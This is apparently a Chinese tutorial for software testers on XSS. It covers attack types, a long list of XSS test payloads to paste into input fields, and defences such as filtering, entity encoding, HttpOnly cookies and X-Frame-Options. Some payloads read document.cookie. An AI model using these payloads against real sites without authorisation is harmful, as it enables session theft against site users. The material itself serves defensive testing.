一、什么是XSS
XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
二、xss攻击分类
第一种:反射型 页面仅把用户输入直接回显在页面或源码中,需要诱使用户点击才能成功。 第二种:持久型 XSS 攻击代码会被存储在服务器中,由于用户可能会主动浏览被攻击页面,此种方法危害较大。 第三种:DOM 型( DOM Based XSS ) 通过修改页面的 DOM 节点形成 XSS,严格来讲也可划为反射型 XSS。
三、xss攻击常见case
(1)<script>alert('XSS')</script> //简单弹框
(2)<ScRiPt>AlErt('XSS')</ScRiPt> //过滤了大小
(3)<img src="#" οnerrοr=alert("XSS")> //img 标签 进行绕过
(4)javascript:alert('xss') //使用 Javascript 的尾协议
(5)' οnclick=' alert("xss") //利用 href 属性值来进行xss
四、通用的xss测试用例
如下:
★~!@#$%^&*()_+<>,./?;'"[]{}-
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS1')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/
★<script>alert('xss2')</script>
★<script>alert('xss3');</script>
★</script><script>alert(‘xss4’)</script>
★javascript:alert(/xss5/)
★javascript:alert(/xss6/)
★<img src="#" onerror=alert(/xss7/)>
★<img src="#" style="Xss:expression(alert(/xss8/));">
★<img src="#"/**/onerror=alert(/xss9/) width=100>
★=’><script>alert(document.cookie)</script>
★1.jpg" onmouseover="alert('xss10')
★"></a><script>alert(‘xss11’);</script>
★http://xxx';alert('xss12');var/ a='a
★’”>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
★>"'><script>alert(‘XSS13')</script>
★>%22%27><img%20src%3d%22javascript:alert(%27XSS14%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS15%26quot;)>
★AK%22%20style%3D%22background:url(javascript:alert(%27XSS16%27))%22%20OS%22
★%22%2Balert(%27XSS17%27)%2B%22
★<table background="javascript:alert(([code])"></table>
★<object type=text/html data="javascript:alert(([code]);"></object>
★<body onload="javascript:alert(([code])"></body>
★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;
遇到有输入框的地方,例如评论框,发表内容入口等,把以上所有内容全部copy进去。 这样做的作用是:初步判断前端是否做了统一的html输入的处理。
你可能会得到这样的内容:
上面的bug是以下这段被注入了,前端没有针对具体的html标签转义。属于反射性xss攻击。
★%3Cinput /%3E ★%3Cscript%3Ealert('XSS1')%3C/script%3E ★<input type="text"/> ★<input/> ★<input/
五、测试策略
关注前后端开发的方案,分别从以下几个方面看,是否有如下针对性的XSS防御:
1、使用 XSS Filter
关注开发方案中,是否针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:
表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。 过滤或移除特殊的 html 标签:<script>、<iframe>等。 过滤 js 事件的标签:onclick、onerror、onfocus等。
校验点:
1>. 前端处理方式,比如对script标签,将特殊字符替换成HTML编码这些等。
2>.后端需要对提交的数据进行过滤。
2、html 实体 是否对不可信数据进行 HTML Entity 编码
HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。在 html 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。
html 实体的存在是导致 XSS 漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。
一般为了避免 XSS 攻击,会将 <> 编码为 < 与 >,这些就是 HTML 实体编码。
校验点:
1>、<>等6个字符,所见即所得,怎么输入的怎么展示,不能丢失,不能显示转义后的内容。
3、JavaScript编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。 在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码。
可能要关注的点:
在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 ”转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析, 所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;
校验点:
1>、所见即所得,怎么输入的怎么展示,不能丢失,不能显示转义后的内容。
4、Http Only cookie
许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only, 这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie, 这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。 HttpOnly是cookie里面一个属性,假如在cookie里面设置了HttpOnly这个属性,那么JavaScript将无法访问到我们到cookie, 但是这个方法也只能是防御cookie劫持。
5、X-Frame-Options配置
低危漏洞- X-Frame-Options Header未配置X-Frame-Options 响应头 X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在 <frame>, </iframe> 或者 <object> 中展现的标记。 网站可以使用此功能,来确保自己网站的内容没有被嵌到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。